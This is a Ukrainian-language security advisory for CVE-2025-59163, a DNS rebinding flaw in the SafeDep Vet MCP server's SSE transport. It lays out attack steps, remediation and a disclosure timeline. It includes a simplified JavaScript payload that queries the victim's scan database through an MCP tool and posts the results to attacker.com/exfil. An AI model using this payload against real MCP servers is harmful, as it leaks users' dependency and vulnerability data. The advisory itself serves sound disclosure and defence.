Автор: Evan Harris
Ризик: Низький (CVSS 2.1/10)
Уражений компонент: SafeDep Vet MCP Server
Ідентифікатор CVE: CVE-2025-59163
Уражені версії: < v1.12.5
Виправлені версії: v1.12.5

Огляд

Сервер SafeDep Vet MCP вразливий до атак DNS rebinding під час роботи з транспортом SSE. Причиною вразливості є відсутність перевірки HTTP-заголовків Host та Origin, через що шкідливі сайти можуть обходити захист політики одного джерела (Same-Origin Policy) та виконувати несанкціоновані виклики інструментів проти екземплярів Vet MCP.

Після успішного проведення DNS rebinding зловмисник може встановити сесію з ендпоінтом /sse, викликати увімкнені інструменти MCP та вивантажити вміст користувацької бази даних Vet SQLite на підконтрольний йому сервер.

Команда SafeDep оперативно відреагувала на це розкриття і протягом кількох днів випустила виправлену версію (v1.12.5), яка реалізує перевірку заголовків Host та Origin за списком дозволених значень (allow list).

Технічні деталі

Вразливість

Коли сервер Vet MCP працює з транспортом SSE (--server-type sse), він надає HTTP-ендпоінт, що приймає з’єднання з будь-якого джерела. На сервері відсутня перевірка таких заголовків:

  • HTTP-заголовок Host - допускає запити, що видають себе за будь-який домен
  • HTTP-заголовок Origin - дозволяє міжсайтові запити зі шкідливих сайтів

Відсутність цієї перевірки відкриває можливість для атак DNS rebinding, у ході яких:

  1. Зловмисник контролює домен із DNS-записами, що мають дуже низький TTL
  2. Жертва відвідує сайт зловмисника (наприклад, attacker.com)
  3. JavaScript зловмисника спочатку розв’язується в IP-адресу зловмисника
  4. Після того як браузер жертви кешує з’єднання, DNS-запис змінюється на 127.0.0.1
  5. Подальші запити з attacker.com тепер спрямовуються на localhost жертви
  6. Політика одного джерела в браузері обходиться, оскільки джерелом, як і раніше, залишається attacker.com

Вразлива конфігурація

Атака вимагає виконання таких умов:

  • Виконано сканування Vet, і звіти записуються до бази даних
  • Сервер Vet MCP запущено з увімкненим транспортом SSE
  • Зловмисник заманює жертву на підконтрольний йому сайт

Вектор атаки

Зловмисник використовує DNS rebinding, щоб:

  1. Встановити з’єднання з http://127.0.0.1:9988/sse
  2. Отримати дійсний ідентифікатор сесії MCP
  3. Ініціалізувати сесію MCP
  4. Викликати інструмент vet_query_execute_sql_query з довільними READ-запитами SQL
  5. Отримати відповіді через потік SSE
  6. Вивантажити дані на підконтрольний зловмиснику сервер

Сценарій атаки

Підготовка на боці жертви

Дослідник безпеки або розробник:

  1. Встановлює Vet для сканування залежностей на наявність вразливостей
  2. Запускає сканування: vet scan -D /path/to/project
  3. Запускає сервер MCP з транспортом SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. За замовчуванням сервер прив’язується до 127.0.0.1:9988

Експлуатація зловмисником

Зловмисник готує інфраструктуру для DNS rebinding:

  1. Налаштовує DNS-сервер із wildcard-записами для домену (наприклад, rebinder.attacker.com)
  2. Конфігурує DNS-сервер так, щоб він спочатку повертав IP-адресу зловмисника, а потім перемикався на 127.0.0.1
  3. Розміщує шкідливий сайт із JavaScript, який:
    • Визначає, коли DNS rebinding проходить успішно
    • Підключається до SSE-ендпоінта Vet за адресою http://127.0.0.1:9988/sse
    • Встановлює сесію MCP
    • Виконує SQL-запити до бази даних жертви
    • Вивантажує результати

Хід експлуатації

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Жертві достатньо лише відвідати сайт зловмисника (наприклад, за посиланням у фішинговому листі, через скомпрометоване рекламне оголошення або шкідливий GitHub Issue), поки запущено її сервер Vet MCP.

Оцінка впливу

Порушення конфіденційності

Основний вплив:

  • Повний READ-доступ до бази даних сканування Vet SQLite через інструмент vet_query_execute_sql_query
  • Розкриття інформації про вразливості пакетів, включно з:
    • Використовуваними іменами пакетів та їхніми версіями
    • Відомими CVE, що зачіпають залежності жертви
    • Оцінками серйозності та деталями вразливостей
    • Розвідданими про ланцюг постачання програмного забезпечення

Посилення ризиків:

  • Зловмисники отримують відомості про вразливі пакети в середовищі жертви
  • Залежності та версії пакетів розкривають деталі використовуваного технологічного стека
  • Ця інформація може бути використана для створення цілеспрямованих експлойтів

Вимоги для проведення атаки

Фактори, що обмежують можливість експлуатації:

  • Потрібна активна взаємодія користувача: жертва повинна відвідати шкідливий сайт
  • Часове вікно: сервер Vet MCP має бути активно запущено з транспортом SSE
  • Вимога до конфігурації: жертва повинна явно запустити сервер із прапорцем --server-type sse (а не з транспортом stdio, який використовується за замовчуванням)
  • Робота через браузер: для атаки потрібен сучасний браузер із підтримкою EventSource

Ці фактори зумовлюють низьку оцінку серйозності (CVSS 2.1/10), попри можливість вивантаження даних.

Рекомендовані заходи з усунення

Для користувачів (негайно)

  1. Оновіться до версії v1.12.5 або новішої:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Використовуйте транспорт stdio (за замовчуванням):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Мережева ізоляція:
    • Запускайте сервер MCP лише в довірених мережах
    • Використовуйте правила міжмережевого екрана для обмеження доступу до порту 9988
    • Уникайте відвідування недовірених сайтів, поки сервер запущено

Для розробників

Реалізовано у v1.12.5:

  • Перевірка заголовка Host за списком дозволених значень (allow list)
  • Перевірка заголовка Origin для запобігання міжсайтовим запитам
  • Відхилення запитів із недійсними або відсутніми заголовками безпеки

Рекомендовані практики для реалізацій серверів MCP:

  • Завжди перевіряйте заголовки Host та Origin для транспортів на базі HTTP
  • За замовчуванням прив’язуйтеся лише до localhost (127.0.0.1), а не до 0.0.0.0
  • За можливості надавайте перевагу транспорту stdio перед мережевими транспортами
  • Документуйте наслідки для безпеки різних режимів транспорту
  • Реалізуйте суворі політики CORS

Хронологія розкриття

  • 2025-08-30: Первинний звіт про вразливість надіслано до SafeDep
  • 2025-09-01: SafeDep підтверджує отримання звіту
  • 2025-09-02: SafeDep створює pull request із патчем, що реалізує перевірку заголовків
  • 2025-09-05: Випущено виправлену версію v1.12.5
  • 2025-09-29: Опубліковано GitHub Security Advisory, узгоджену дату розкриття підтверджено обома сторонами
  • 2025-10-06: Опубліковано технічний бюлетень безпеки

Висновок

Вразливість DNS rebinding у сервері Vet MCP демонструє важливий аспект безпеки для реалізацій MCP: мережеві транспорти вимагають ретельної перевірки HTTP-заголовків безпеки для запобігання міжсайтовим атакам.

Хоча атака вимагає певних умов (активний сервер MCP з транспортом SSE, відвідування жертвою шкідливого сайту, наявність часового вікна), можливість вивантаження даних виправдала відповідальне розкриття та випуск патча.

Реакція SafeDep слугує взірцем відповідальних практик у сфері безпеки:

  • Негайне підтвердження отримання звіту
  • Оперативна розробка та випуск патча (5 днів від повідомлення до релізу)
  • Скоординоване розкриття через GitHub Security Advisory
  • Чітка комунікація впродовж усього процесу

Усім користувачам, які запускають сервер Vet MCP з транспортом SSE, слід негайно оновитися до версії v1.12.5. Для більшості сценаріїв використання транспорт stdio, що застосовується за замовчуванням, є безпечнішою альтернативою.

Джерела